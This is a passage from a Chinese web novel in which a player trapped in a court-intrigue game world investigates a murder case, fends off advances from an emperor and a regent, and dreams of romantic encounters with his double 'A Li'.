季李愣了一下,心尖发软,他突然有点想亲一亲他。
季李:“你抬头。”
阿狸仰起身子,睁眼,微张着唇,一副呆愣的模样。
“好了。”季李飞快啄了下他发烫发软的唇肉,偏了偏头,也不看他,“所以,在你只能听到我声音的时候,你能做出动作吗?”
阿狸迟钝得眨巴眨巴眼睛,滴下一大颗泪珠。
砸到季李下巴上,灼烧着他的心。
季李只好偏回头,有些无奈的看着他哭得水光潋滟的脸。
阿狸哭得更大声,“不可以。”
阿狸太委屈了,“我只能听到你的声音!”
“哎呀。”季李没想到他会是这个反应,一时无措起来,慌忙撑起身子,手背擦起他烫红的脸。
那知阿狸猛地弓起了身子,头埋在他胸前,双手紧紧环抱着他的脖颈。
瘦削骨质的指节施力红得惊人,他仰着头,露出湿亮的颈,喉结无助的惊颤,却依恋得靠着施加着。
凌厉迫人的丹凤眼含着泪珠竟透出顺从破碎的悲情。
“好、好了。”季李顿时不敢乱动了,他下意识想伸手去探,淌到床铺的烫人的湿腻……
阿狸却像是觉察到他的用意,迅速钳住他的手腕,一双眼眸裹着泪无助又渴欲的望着他,呼唤他:“别、别看。”
15. 第十五章
季李莫名吞咽了一下。
手轻轻一挣,意外的是轻易便从阿狸的牵制里抽出,手臂向下探。
眼前白光一闪,指腹只触一片冰冷坚硬,他再一睁眼,才发现自己从温暖的被窝里面滚了出来,跌到了床下。
季李叹气:“不是吧。”
天还未亮,庭中的玉兰树影在窗户上摇曳。
季李只着了里衣觉出了凉意,赶快套上厚实的衣袍,领口柔软的绒毛蹭过鼻尖,引得他大了个喷嚏。
别想了,现在不是回忆梦境的时候!季李简单收拾了一下,先去了冯裕之的庭院。
门是关着的,守在外面的小厮一见到他从袖口里取了封书信,恭敬道:“大人还在休息,他交代小人将此物交于您。”
季李道了谢,目光从窗户透出的橘黄色暖光移开,转身离开。
顺王七往宫里去的路上,季李拆了信封,上面写的是,王运一案的事件起末,信未交代了罪魁祸首,吏部侍郎之子林渊。
指尖将信纸捏出褶皱,季李看入了神,适才一抬头,竟然看到个熟人。
笑眯眯朝他行礼的公公小六子,他脚步轻快走到他身前,语气尖细:“季大人,您来啦,咱家老早便在此等候了。”
季李有些不解,迅速将信纸收回衣袍,上前一步将王七挡在身侧,回礼道:“公公,这是有事交代?”
小六子:“正是,您先随我到承熏殿等候。”
季李不便多问,转身交代了王七几句就让他先回去了。
承熏殿。
不是季李第一次来的地方,承熏殿内没有熏香,地板铺的是一层透凉的玉石,垂掉的帘卷像是冰丝镶嵌着细小的碎金。
殿内红烛盈目,紫幽幽的水晶石置在璧柱上,季李随小六子站在中间等得无聊了,偷偷摸摸打量。
装饰好阴冷呀,这昏君都不怕冷的吧,也不知道放些暖炉。
这厮肯定是故意的,让他在这里苦逼的等,也不放张椅子,地板还硬!
季李不由蹭了蹭双臂庆幸自己穿得厚实,不然肯定会冷,之前和冯裕之到的养心殿恐怕都是昏君体谅丞相怕冷,才选的地儿,不仅有温暖还铺了厚厚的地毯。
季李闲得无聊了,想起了昨晚的事情,阿狸知道他真实的名字,还说如果见不到他,就只能听到他的声音。
如果是这样,阿狸会不会就是封怀礼?或者,是现实里的真人?
而游戏里的摄政王是游戏NPC,阿狸从现代世界而来意识暂时落在了这个NPC身上。
季李越想越觉心惊,既然有和他一样的真人,是不是说明就有从游戏脱身的方法!
他决定要护住这个秘密,更不能让系统知道。
季李略显激动的攥了攥拳头,吞了吞唾沫,微微偏头正好看到小六子朝他讨笑,他张了张嘴正要说话。
身后传来呼声,“恭迎陛下,陛下万岁万岁万万岁。”
季李止了动作,顺着众人行礼,一道热气从身侧刮过,他偷摸抬起头,正好看到昏君踢了鞋带赤脚踩在冰凉坚硬的玉石上。
他赶忙埋头只当没看见,唤,‘对了,小云,这昏君叫什么名字?’
「滴~昏君叫赵永敬。」
‘赵永敬是不是个疯子呀?’
「小云不明白耶?按照人物设定,皇帝没有精神疾病设定。」
季李无奈叹气,看来不能和ai开玩笑。
他说昏君是疯子,就是因为,这厮脱了鞋在冰冷的石头上走,现在可是秋天,连宫殿都布置得冷冰冰的。
“季明礼。”赵永敬不知何时走到他身前,居高临下的看他,语气平平:“起来吧,讲讲事办得如何了?”
季李往后缩了缩,垂着眉站起身,眼睛盯着光洁的地面,恭敬道:“陛下,臣这几日……”
赵永敬抬手,打断了他的话:“等会儿。”
季李忙禁言,目光不知道该放在那里了,玉石平整光滑将人的倒影呈得完整,他看到赵永敬只披了一件玄色里衣胸前大敞,左胸上似乎还有刀疤,一直沿到乳晕。
头发也不梳整好,垂下来一缕发丝缠到脖子上……
滚烫的热气直击面门,季李下意识抬眸,蜜色的皮肉撞进眼眸,温灼的发丝袭到鼻尖。
赵永敬弯了弯腰,一双深邃金亮的眸似伏击的猛虎正待一跃,扑压住猎物,撕咬皮毛吞食热血,大快朵颐。
昏君盯着他的眸,神情闪过一丝怜惜,很快恢复了轻睨,抬手在他眼前挥了挥,歪头,“你在看什么呢?”
季李咬牙稳住心神,心道,看你不好好穿衣服,个烂人,面上诚惶诚恐:“臣不敢。”
“喔?”赵永敬像是放过了他,一转身,大步走到正中软垫上,盘腿歪斜着坐着,朝他招了招手道:“那你走过来,继续讲吧。”
季李抬头故作轻松走上前。
没想到后面汇报工作进度时,赵永敬没有再打断,季李大致说了情况,最后得出结论:“林渊是最有行凶动机的人,但……”
赵永敬早就听得不耐烦,手背一推,金丝玉杯咕噜滚过桌面,嘭一声摔到玉石面。
他启唇,“停。”
季李一动不动,任由喷溅的水渍沁到鞋面,砸碎的瓷片猛地弹起,直冲他下颚。
赵永敬眼眸一闪,探身,伸出手指。
灼热的鲜血破口而出,像涌动的喷泉,从红润的指腹溅出。
洒到他下巴上,季李眨了眨眼睛,还没反应过来。
身后传来尖细的叫声,“快!快!传太医!”
“陛下!”咚咚咚的脚步声响起,王公公从一旁窜上来,扑到地面上,收拾着,哭着喊:“您没有吧,快,快坐下。”
季李被弄得发懵,下意识从袖口里掏出帕巾,弓腰递到人面前,小心道:“陛下,要不要,包扎一下。”
赵永敬意外看了他一眼,索性坐回软垫上,大大咧咧张开腿,淡淡对哭得鼻涕眼泪四流的王公公骂:“别哭了老东西,朕就手指头破了个口,又不是驾崩了。”
季李一听,也反应过来,深以为然的点头称是,正要收回了手帕。
赵永敬不满,挑眉,恨恨盯着他。
季李被看得不明所以,动作就停了下来,想了想禀告道:“陛下,那臣接着……”
赵永敬舒展了眉,朝他招手
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,“对!过来,给朕好好包扎!”
王公公笑眯眯的站在一旁,迎合:“对,季大人,您可要小心仔细些。”
赵永敬不耐烦瞥了他一眼,王公公忙摇头,卖乖得用手拍嘴巴。
季李没想到事情的走向是这样,但昏君都发话了,他肯定不能拒绝,索性捏紧了手帕,笑着走近。
“陛下。”季李小心抚着他的手,指节烫得惊人,没想到屋里的暖炉是昏君,刚才他就发现殿中暖和不少,本以为是呈了汤婆子来。
他一看,才发现那瓷片竟然陷在指腹肉里了,冒血的孔里隐着金丝。
“您这个还是需要太医来。”季李皱眉看着赵永敬,谨慎道:“应该是碎金扎出了血口,所以流了怎么多血,而且金子陷在肉里了。”
赵永敬全然不知道他在讲什么,只是在嘴一张一合,眉微微皱着,眼含着担忧。
拖着他的手,凉爽极了。
赵永敬:“准了。”
季李:?怎么就准了。
季李只得朝一边的王公公道:“公公那您让太医上来吧。”
赵永敬探身贴上去,眼眸紧紧盯着人,语气不爽:“你叫什么人?”
季李不知道这昏君又发什么疯,好声好气道:“陛下,您这伤口很严重。臣怕处理不好。”
赵永敬闻言,愣了一下,眨了眨眼睛,脸色阴转晴朝王常喊:“你让太医把工具拿上来。”
“朕就要你弄。”赵永敬反手紧扣住季李的手腕,语气淡然:“朕都不怕,你怕什么?”
季李一惊想动,可压住他手的就是赵永敬的伤口,汩汩的血像岩浆般灼烧他的皮肉,要融到他心口,湿腻的触感瞬间让他想起来昨天晚上的梦。
他一动,阿狸就惊颤,腰腹上沁知的湿腻水迹。
赵永敬见人神情恍惚,心尖缺了一角般钝钝的痛,不可抗拒的亲近感,耳边有个声音在告诉他,要紧紧盯着、抓住、不要放手、不要心软。
他是属于你的东西。
赵永敬下意识喊:“老师。”
季李一愣,吞了吞唾沫,见赵永敬神情竟然透出一种痛苦,急忙低下头当没看见,没听到。
只是埋头时,余光瞄到人胸前那道疤,差点破到乳晕上。
蜜色的皮、内陷的乳,怎么,这昏君,的长得有点……
赵永敬一时失态,反应过来时气得不行,正要朝人发难,却瞄到发红的耳尖,竟然看起来一副不好意思的模样。
刚才还一副正经的样子。
哼!
我就知道,就算换了层皮,装不认识,装模作样,这骨子里就是他!
赵永敬心里好受不少,说话时语气也软和下来,空闲的手拍了拍旁边的软垫,奖赏道:“行了,你坐这里。”
季李摇头。
赵永敬瞪眼:“朕的话你不能拒绝!”
季李眼眸一转,示意他被拉住的手,语气恭敬:“臣不放心您的伤口,就让臣在这儿等候吧。”
赵永敬瞬间高兴起来,像是吃了蜜一样,盯着他的眼睛亮极了,又很是惊奇凑近,透出些怀疑,语气试探:“那你还有什么想说的?”
16. 第十六章
季李一听,悬着的心嗖的放回了原处,他往后大退一步,姿态如松的站直端重整理衣袍,单膝跪地行礼,拱手大声回应:“陛下,臣就王运一案还有疑虑,还请再宽限五日。臣定然夙兴夜寐用心钻研,得出个满意的答案。”
赵永敬脸都快气绿了,这般公私分明,怎么好的气氛都看不出来。正求问真心真情呢?你倒好扑腾一声就跪地了,把君臣之行恪守的分明。
果然是他的好老师。
既然如此,朕偏不顺你心意。当了一天昏君,后半辈子更是忘不辽了。赵永敬在心里快把牙咬碎了。
季李内心惴惴等人回应,赵永敬神态轻松得依回龙椅上,快要自愈的伤口勉强被碎金石维持着惨状,他抬起血流的拇指,语气淡淡:“不谈国事,朕的手指还等着爱卿包扎呢。”
这厢,王公公抓紧时机,端着工具进来,笑眯眯应:“陛下,这是药箱。”
赵永敬半眯着眼睛休憩,没应声。
季李懂了,接过药箱,里面竟然还有金属夹,止血棉布。
白绒纱布吸净血渍,总算能看清碎金镶进肉的位置,季李注意着赵永敬的表情,手上动作不停。轻巧挑出异物时虚握着的手抖动了一下,季李吞了吞唾沫,小心开口:“陛下,臣要不然就不用酒精了?”
赵永敬闻言皱眉,从多情的桃花眸里琢出了浅薄的关切,他瞬间兴奋起来,眼前现出人嘴唇艳红神情隐忍的模样,坐直了身子,面上正经道:“行呀,朕知道个偏方。将伤口含在嘴里就解痛了,也没有酒精的灼烧感。”
王公公帮腔:“对、对、对。”
站在一边当背景板的太医:???
把自己搭进去的季李,只觉得赵永敬的伤手就是烫手山芋,可惜不能丢。
他干巴巴笑了一声,随即道:“陛下,臣不敢。陛下龙体企是微臣能玷污的,再言,臣出身贫寒更是不敢攀附圣体。”
赵永敬立马冷了脸,手臂一动瞬间从温热柔软的触碰里抽离,他用伤指轻挑起季李的下巴,俯下身危险的盯着人的眼睛,像只蓄势待发的猛虎,一字一句道:“朕这就告知你,王运的案子了解了。”
季李丝毫没有躲避,直直应上他的目光,弯了弯眸,不卑不亢回答:“王运一案还有蹊跷。林渊不一定是凶手。”
赵永敬闻到了季李身上一股冰凉的香气,指腹贴着的软肉随着声音缓慢的颤动。
灼烫的浓稠血迹舔舐着白腻肌肤,顺着清晰下颚淌伸,慢慢汇成红水晶状的点。
滴答。
坠进层层衣物覆盖的胸腹。
少年的眼神太亮了,一举一动逐渐和他自认为遗忘的老师重合起来,一样的充满活力、满满的斗志、灼烧卑鄙念想的自信决绝,飞蛾扑火般的追求着……
荒唐的正义、真理。
真可笑。
赵永敬突然有点不忍了,但他眼里骤然涌起了噬人的海浪,胸腔叫嚣着一声又一声,毁掉他、摧毁他。
他笑得畅快,近乎怜悯的看着季李,语气轻柔:“林渊已经认罪。朕很高兴你完成了任务,今天就回去休息吧,任职诏令随后就来。”
季李愣住了。
赵永敬没忍住摸了摸他的下巴,随后转身整了整衣袍,赤脚离开。
王公公准着旨意请季李离开了大殿。
‘林渊认罪了、认罪了……’脑袋里循环着这三个字。
季李不知道此刻的心情,回身迎走王公公时又是什么表情,他现在太过于惊讶了。
林渊为什么会愿意认罪?定然不是因为高老伯的事情,而王运之死虽说与他有一定观念,但就连季明礼的嫌疑都比他大。
按情按理都说不上要自己凑上去认罪。
不行。季李深吸了一口气勉强平复了心情,决定要亲自去看看林渊,要问清楚,说不定有什么线索。
季李加快了脚步,踏出宫门时正好迎上了意气风发大步行来的摄政王,封怀礼。
和梦中阿狸顶着一模一样的脸,季李下意识将目光落到人那双冷冽的丹凤眼上,眼前浮现的是,阿狸咬着下唇压抑着声音,红着眼泣泪的模样。
如此,季李行礼的动作也慢了一刻。
封怀礼原本已经和他擦身而过,突然,他脚步一顿,神情微沉,站到季李面前目光像针般落到划出条血痕的脖颈。
季李被看得莫名缩了缩脖子,紧张的舔了舔下唇,语气小心:“王爷,您是?”
封怀礼探出手,一道酸涩的橘皮香味只冲季李鼻腔,他向后躲了一下还是没避开,微凉的指节点在脖间。
男人的亲昵竟然让季李产生一种熟悉的感觉,他在心里反思自己,都是梦里和阿狸闹得有些过界了。
封怀礼轻柔擦掉了血迹,指腹揉着那片皮肉微微发红,他凑上前,启唇微微吐出热气,他很想去亲亲、吹吹那块地方。
幸好残留的理智止住了他的念头。
封怀礼挑眉语气戏谑:“这是狗血吗?”
季李没忍住噗呲笑了出来,目光落在辉煌的宫门上勉强把笑憋了回去,正色道:“王爷,您有说不知。是陛下不慎伤了手指。”
封怀礼收回指节,在心里把赵永敬骂了一顿,狗崽子。
竟然还是他的意志碎片,真不想承认。
“拿水来。”封怀礼朝旁吩咐一句,又四周望了望,目光落到门边的石狮上,“你随我来。”
季李也不好拒绝,用手背蹭了下酥麻的脖子,心不甘情不愿的跟了过去。
季李:“王爷,您有何事吩咐。臣正要出宫办事。”
封怀礼歪头:“王运的事不是处理好了?”
季李也不说话,在心里想,也许林渊认罪的消息还没传远,而且,摄政王和丞相是对头吧,他可不能把消息告诉他。
封怀礼不知道季李竟然想了怎么多东西,他现在看赵永敬恶劣弄上的血迹很不满,出声催促:“你过来,我把它擦干净。”
季李懂了他的意思,伸手想把帕巾接过来,婉拒:“臣先谢过王爷了,但还是让臣自己来吧。”
封怀礼没应,手腕一偏避开他的指,坚定的落到人的脖颈,垂下眉神情认真,指节捏着一节轻轻的擦弄,只觉指腹下的身体从最初的僵硬慢慢放
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松下来。
季李原本仰着头有点累,索性微微垂下头,将下巴直接垫到劲瘦的手腕,封怀礼惊讶得抬眸看了他一眼,嘴角衔着几分笑意。
季李:“王爷,你晚上会做梦吗?”
封怀礼动作一顿,迅速擦了干净,收回手,反问:“那你呢?”
季李耸耸肩淡淡道:“不做梦,我喜欢一觉睡到天亮。”
封怀礼拉长了调子,叹气:“那就可惜了。”
季李知道他在装模作样,但还是忍不住去看,动了动耳朵眼睛去瞅。
封怀礼笑眯眯凑到人面前,盯着柔软红润的下唇,舌尖抵在牙齿上,喉咙很痒,真想咬到那颗小黑痣上,吮着那处,细细的啄。
“林渊入狱了。”封怀礼说了个不相干的事,“要不要我帮你?”
季李拉直了唇:“他本该入狱。”
“那就好。我们的季大人明日就能任职玄朝门学的太傅了。”
“……王爷,既然无事,臣便先行告退了。”
封怀礼的笑眸里印着季李冷下来的脸,行礼时面无表情,看着脸气得鼓鼓的。
封怀礼适时开口:“好了。我和你一同去吧。”
季李当然不愿意,阴阳怪气拒绝:“不恼大人费心了。臣会自行解决。免得劳累大人,多梦扰眠。”
封怀礼挥手让随行侍卫离去,他跟在季李身后,起了玩意脚尖踩在挺拔的身影上。
季李发觉后,生了恼意孩子气的加快了脚步,不让人踩。
封怀礼明知故问:“这是怎么了?”
季李转过身看着他,哼了声一板一眼回道:“臣是怕被踩了影子长不高。”
封怀礼被他这副乖觉的样子弄得心尖发软,索性扑了上去,在接触到人的一瞬间又收了势头,生生收回手只探出手臂,像好兄弟般搭在肩头,语气玩闹:“本王越发喜欢你了,这样吧,你认我做义兄……”
季李像是被踩了尾巴的猫,整个人都激灵起来,却没躲过封怀礼的手臂。他更气,闻言,直接捏头伸手把还在吧唧吧唧的嘴捂住,凑近看到稠密浓黑的眼睫像溺亡的蝶,白腻的两颊迅速攀上霞色的晕色。
季李刚想,看吧,还是他厉害,一下就把人止住了!
季李还没高兴太久,突然手心一湿,烫腻的软意漫开。
封怀礼在舔他手心!
这个感触瞬间把季李拉回了第一个梦,那个梦里,他应是置身在温泉边,空气里全是湿黏的水汽。
他被绳索束缚着不能动,张开的手掌被人抓住,细细的□□。
兽似的眼瞳亮得惊人,稀碎的水晶攥在其中,他不断贴近,掌心贴在肩颈试探性得往里探,鼻息灼灼,橘子皮被剥开,透明的经络也一同褪下,他好像看到一颗颗果粒暴开。
汁液在手心四溅。
季李把手移开,目光落到封怀礼红润的唇上。
见少年没反应。
封怀礼先笑开了,取笑:“不敢……”
他的话被打断了,季李攥紧男人的腰腹,探身,张嘴就咬了一口。
封怀礼:“嘶……”
17. 第十七章
天色渐晚,不远山涧照上黛色。
季李总算甩掉了封怀礼,眼眸现出茫然,抬手放到唇上似乎还有瞬间的甜意。
好了!先不要乱想了,季李深吸一口气让自己平静下来。
林渊的罪名比季小五他们更严重,他被关在天牢。
牢狱在地下,一路往里走,鞋印深深印在潮湿的泥土里,抬起腿里有明显的拉扯感。
壁边安着熏臭的火把,不时带有老鼠小虫窜动的光影,除了隐隐的滴水声还有吱吱的叫声。
季李在狱守带路下找到了位置,在一层稻草铺垫的石子地上侧躺着的人形,似乎是习惯了脚步声,只懒散翻了个声。
狱守上前一步,用铁棍敲着门。
季李探手连忙阻止,“不用。”
猛然的敲击声已经吵醒了男人,他的身体下意识抖动蜷缩起来。
眼皮耷拉着,勉强一抬。借着火光看清了人脸,林渊缓慢依着墙壁坐了起来。
季李压低声音嘱咐狱守:“您在门口等我吧,我单独和人聊聊。”
狱守行了礼,还想把铁棍交给季李。
季李摆手拒绝。
两人的举动全然落在林渊眼中,他咧着嘴笑道:“明礼,你近日可好。”
季李没有说话,他说不上好,但林渊的处境却是不好的。
一件沾着血迹的白衫,头发散乱,露在外面的手臂、腿腕上都是青紫的伤痕。
季李心里浮现一个猜测,或许,林渊是被屈打成招的,可是不对呀,他是吏部侍郎之子,背靠摄政王……
除非,林渊是弃子。一个被抛出来顶罪的人,而能让他顶罪的,怕是皇室?
难道是三皇子?上次那个执扇和众人玩闹的人?
季李张了张口,正想发问。
“我恨你!”林渊突然站了起来,气息翻滚:“真不知道你在想些什么,你可真辽不起。能傍上怎么多人!”
林渊垂下头声音微小却清晰:“贱人。”
季李一脸懵,无缘无故就被骂一顿。定然是原身季明礼的仇怨,正好,可以再多了解一下前情。
季李闭上嘴,老老实实等着他骂。
结果,林渊却没了下文,只是抬起头,目光深深看不清情绪,就这样盯着他,一寸一寸挪移。
就在季李等得不耐的时候,林渊探出手突然卷起了裤脚。
季李:?不明所以,老实看着。
随着林渊的动作,衣裤下的肌肤被展露出来,原本以为林渊的蜜色皮肤是被晒的,结果连大腿也是同一个色。
蜜色的腿绷得很紧,流畅顺直,稀碎的血口落在上面,暗红色的血迹干结黏在衣料上。
季李眼看着,林渊攥紧了手指,腿肉被撕扯着抖动起来,他似乎很痛皱紧了眉脸色渗白,额间汇聚了滴汗。
季李不由得跟着捏紧了手指,目光紧紧盯在他泛光肉感的腿根上,很快发现一个稠红的血疤。
林渊指着那处,抬眸寻着季李的脸,张唇语意竟带着些飘渺的笑,他又偏着头好像很困惑:“我记得,你当时踢到我大腿上时根本没什么感觉。”
“说踢都严重了,明明只是蹭。刮起的风扑到我鼻尖时,也只有一股香气。”
林渊说着,瞳孔瞬间亮起来,兴兴然舔了舔嘴角,似乎有些后悔:“我当时应该抓住的。可惜……”
季李忍不住了,“行了。”
林渊得了回应,整个人更是兴奋起来,指尖抵到那块被烫伤的肉,疼得嘴唇发颤,他却像是不觉,恶狠狠道:“现在却要告诉我,是这般痛。”
季李咬牙:“他们动了私刑吗?”
林渊裂开嘴角,盯着那张貌美的脸,似蛇般吐息却道:“我会印在你脸上。”
季李瞬间反应过来,真是被气笑了,你说你管他干什么?
季李往前踏了一步,居高临下看着他,目光冰冷:“你认罪了。”
不是问句,只是在陈述事实。
林渊不是杀害王运的凶手,却是恶意伤害高老伯,近乎残忍的砍掉他的双手,活生生失血而死。
季李不再说话,他只是有点疲惫,更大的怪物还藏在背后或者说耀武扬威的站在阳光下面,那些规则都不能束缚。
季李没有任何留恋转身。
在他身后,传来一阵呜咽般的哭喊。
走出天牢时,天完全暗下来了。
季李抬头看到了几颗细小的星,他在心里叹了口气唤,‘小云。’
「滴~小云在,季李晚上好呀!」
季李一边往丞相府走,一边在心里和系统闲聊,‘我想看看探花郎的任务进度。’
游戏面板显现出来。
【玩家05】季李
【进阶身份】貌美探花郎季明礼
【进阶任务】进度条:60%,已解决原身遗留问题,探花郎官方认证身份。
【技能】抽卡-已使用1次/冻结中
‘依然没有完成任务吗?’
「经检测,玩家任有40%的几率会被纳进后宫。但玩家称号已经改变。」
‘什么称号?’
「进阶身份:门学夫子。为支线任务,要求玩家探索新地图,时刻保持警惕。随时有可能触发隐藏剧情。」
‘你是说,我明日到宫里去教书的话,会有更多的危险?’
「滴~是的,季李。请您时刻保持警惕。」
季李早就有心理准备,他铺垫了不少现下要切入主题了,‘也可以。不过,我应该有奖励吧?’
「今日是第五日,目前签到积分为10点,完成任务,积攒积分有3点。玩家共计13点。请玩家继续努力哟~小云为季李加油!」
季李有些意外,还算不错。等到明天就能有15点了,等他去到宫里肯定需要。
……
可能是原身和冯裕之的关系不太好,师兄宗文意一走,季李几乎就没怎么见到冯裕之了。
更别说吃晚饭。
所以,季李在旁厅用完餐,简单洗漱一下就趴回床铺里。
少年用被子掩着脸,在席间滚了几圈,突然,他转了出来,顶着炸起的黑发。
从枕头底下翻出来了竹编蝴蝶,仔仔细细看了很长一段时间,等他反应过来露在被子外面的脚丫都凉透了。
“阿嚏!”季李连忙披上外
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衣,走下床,找出了个本子,刚才他想了想,还是觉得从今天开始记日记!
这样,不仅能回顾一下剧情,还能让自己保持清醒。
可能游戏里的NPC都太像真人了,有时候,他都忘记了,自己是在游戏里。
就这样活下去,毕竟他在现实里也没什么好朋友、没有亲人……呆在游戏世界里好像也不错?
停!
这个想法很危险,他要保持清醒。
季李连忙用毛笔写下两个数字,5.13
再把这个本子藏在床底下,窝回床铺,心里还有几分期待,一想到封怀礼被咬时,脸上的变化的神情就有趣。
哼。谁叫他太得寸进尺了。
季李昏昏沉沉睡了过去。
再一睁眼,眼前竟然是片大草原。
他坐在一张大毛毯上,赤着脚,趴在毯沿四处都没看到鞋。
季李:“什么鬼?”
封怀礼骑着白雪出场,他坐在马上看着季李喊:“季李,我教你骑马吧!”
男人春意满面,一双丹凤眼亮盈盈的,嘴角微扬,期待的看着他。
季李见人高兴的模样,也被感染了,站起身挑眉道:“阿狸?”
封怀礼嗖的一声跳下马,牵着缰绳走近,俯身跪到毛毯边,上半身顺从的微微探上前,两只手并在胸前,仰着头启唇:“季李。我在。”
季李稍微往后缩了一下,目光落到人敞露珠白细长的颈,小巧的喉结悄然滑动,他下意识伸出手,掌心蹭到偏硬的额前发上。
阿狸依恋的挺身,脸颊埋在温热柔软的掌心,轻声唤:“季李。”
季李越发感觉阿狸像只猫了,亲呢的蹭到掌心,变本加厉的贴上来,整个人压到他身上,烫湿的舌尖舔过手心,落到唇边。
尖齿刁到下唇肉的小痣。
季李被弄得发痒,闹得他发笑,连忙伸手环住他。
手肘支地,瞬间翻身,将人压到□□,手腕一挣将阿狸的手腕牢牢握住。
季李垂眉看他:“不是说要教我骑马。”
阿狸弯眸浅笑:“现在不就在骑。”
季李一愣,反应过来,放轻了握住他的双手,指腹觉到人腕肉处一下一下的跳动,耳边燥起猛然的心跳声。
他下意识往后缩了缩,发觉身下压的肉更热更烫,还沁出些湿腻来,他疑惑的盯着男人的眼睛,小声问:“怎么了?”
阿狸笑意停了一刻,眸里渗出稀碎的湿意,他直起上身,离人更近,燥热的吐出气息舌尖润了润干涩的唇只言:“我喜欢你。”
突然的剖白没让季李意外,就好像,他听过了很多次,或者听到过更直白的言语。
想着,季李伸手去摸了摸他细腻的脖,指尖挑动领口的衣衫,往里探,寻到与柔软胸肉相反的一点。
他试探的捏了一下,一面看着阿狸的反应,问道:“这样会舒服吗?”
封怀礼只觉浑身发软,抖着指节,凑得近,咬着耳肉湿腻腻的答:“还、还要……”
季李闻言挑眉,反而收了手,伸手扯开黏瘫在他肩头的人,指头压到唇舌里,出声道:“那你就要乖,知道吗?”
18. 第十八章
阿狸眨了眨眼睛,舌尖灵活得缠上去,卷曲着吮吸起来。
季李这才意识到,对方似乎不害怕被如此对待,反而乐不可支的模样像舔着棒棒糖。
季李索性抽回指节,水迹似蚕丝泛着银光,拉长凝结垂落成透明水晶吊坠。
"好了……"季李眼前绽开纯白的光团,他眼皮轻颤,手臂无意识抬起掩在额前。
再睁开眼睛时,周遭已经是熟悉的房间,暖和的被褥。
季李翻了个身,还有些不清醒,窗户关着上面时不时落下暗色的影,窸窸窣窣的雨声响动,混着枝干摇晃的动静。
他披上外衣,推开窗一看,寒冽的风刮着碎雨迎面而来,庭中的玉兰树开得正好。
粉红花苞掩在黄绿的树叶里,有一朵已经开了,正垂在最里侧的枝桠,歪歪斜斜的像是要掉下来。
竟然下雨了。季李感叹一声,简单收拾一下往正院的方向走。
走出院子的时候正好撞上了王七,他恭敬行了礼,埋头道:“大人,先生已经在厅堂里了。”
季李便转了方向,踏入屋内时,暖烘烘的热意依然袭了上来,角落里放着近十个火炉,冯裕之坐在正上方。
披着厚实的外袍,颈边围着橘红色的毛领,称着人削瘦略带病容的脸都添了几分血色,冯裕之垂眸端着冒热气的瓷杯,不知是在喝什么,把素白的唇染上艳红的水色。
遥遥一看,竟像只饮人热血的赤狐。
季李觉得这想法时都吓了一跳,忙在心里反驳,他这是在想什么呢,不要乱想,大白天的一个好生生的活人怎么又成了狐妖。
可能是一大早就在心里编排起来顶头上司,季李心虚的不敢抬头,老老实实埋着头用完餐。
照例等冯裕之发话。
少年只露出毛绒绒的脑袋,耳尖热得燥红,连带着瓷白的颈绷得很紧,淡粉色的暖光盈着肌理上似有浮光流动,鼻尖已经嗅到了幽甜的冷香。
冯裕之适时掩眸,指节压在封薄薄的信封上,有些用力了,松开手时上面留了个沁润的印子。
他抬手将信放在桌沿,喉间涌上一股难耐的痒意,拂袖压在唇肉上,声音低哑:“文意又送来封信,你看看吧。”
季李一听抬起头,眼睛亮亮的。
冯裕之慌乱躲闪,几乎是逃一般站起身,转身带走了满屋过分的热意。
……
季李早就习惯了冯裕之来去匆匆的模式,他拆开信封,这次只有一页纸,一大段内容全是让他照顾好自己,天寒了多穿衣,要多吃些食。
不要等他回来时,见不到圆润的季明礼了,讲什么冬天就要养膘。
再就是,说他此时已经在江南了,一切很顺利。嘱咐在宫中行事更要谨慎,凡事多想想。
季李很快看完,想着,怎么这次不叫他凡事以自己为先了。
说起来这都是宗文意给他的第二封信了,而他一封信都没有回,等晚上的时候还是回一封吧。
季李一边想着,收好信纸,再一抬头看到一个笑容满面的小姑娘。
五六岁的模样,胖嘟嘟的脸蛋上蹭着道黑乎乎的划痕,她长得也圆滚滚的,裹着毛绒衣袍看起来像个白汤圆,头发被雨淋得湿漉漉的黏在脸上。
眼睛又大又亮,只是眼尾微微垂下,偏向双下垂的狗狗眼,孤零零的蹲在花坛边,在细密的雨下如同一只流浪的狗崽。
看着真是太可怜了,让人心软
季李快步走过去,蹲下身将伞支在上方,柔声问:“小姑娘,你是迷路了吗?”
“爹爹!”那知小孩猛地站起,软乎乎的手一把捏到衣角,细声细气的咬字却极为清晰:“长乐总算找到你啦,你快、快和我回家。这样父亲很快就回来啦!”
爹爹!?父亲?
这说得都是什么呀?连在一起他怎么就听不懂了,季李脸上的笑容一僵,故作镇定的摸了摸小孩的头,转身望向王七,“你去问问宫里的守卫,是不是有小孩走丢了。”
季李伸手轻轻把她拉了起来,小声问:“妹妹叫什么名字呀,等会儿就送你回家,你爹爹肯定也在家等着你呢。”
“爹爹。我叫时乐。父亲一般都唤我长乐。”时乐小小一团,身高只到季李膝盖上面一点,她扑上去,双臂紧紧抱住他的双腿,眼睛亮亮的喊:“爹爹你快和长乐回家,只要你回来了父亲肯定会回来的。”
季李当然不可能把小孩甩开,索性弯下腰将人抱起,正微微低头要问。
突然听到一阵匆忙的脚步。
只见一众侍女提着木桶跑过,几人恭敬行礼神情很是焦急。
季李拦住末尾的女人,开口问:“怎么了?”
女人:“回禀大人,西厢房走水了,奴婢们正赶着去灭火。”
季李一瞬间想起来时乐额前那道火熏似的划痕,他偏头正要细看,时乐像是发觉了两条腿焦急的蹬着,藕节似的双臂紧紧攥着领口的衣角一张脸直直往胸膛里面钻。
原本季李只是一分怀疑,现在见时乐这般反应更确信了,这个小孩和西厢房走水之事有关。
而且极有可能,就是她做的、吗?
季李盯着圆乎乎的后脑勺,决定忘了刚才恶劣的想法。
他怎么能这样想一个小女孩呢?
王七匆匆赶来,打断了他的思索:“大人,确实有位郡主走丢了。”
季李点头示意他继续。
王七:“是镇国大将军之女,长乐郡主。下人们正要禀告圣上,已经封了宫门。”
季李一听,拍了拍时乐的后背,压低声音道:“好了,长乐郡主,快回去吧。”
时乐探出头,眼泪汪汪的,“爹爹,长乐太生气了。长乐是乖孩子,我只是太想父亲了。爹爹不要丢下长乐。”
说到后面,季李都怕她嚎啕大哭起来,心里一紧,环着她双腿的手都软了,急忙哄道:“我没有抛下你,长乐是乖孩子的。我也不会生气,没有什么关系的。不要哭好不好。”
季李干巴巴哄了一阵,他着实很怕小娃娃的。软乎乎的,眼泪却很多,幸好时乐真如他所言,很快恢复了笑脸。
笑眯眯的,要去亲季李的脸。
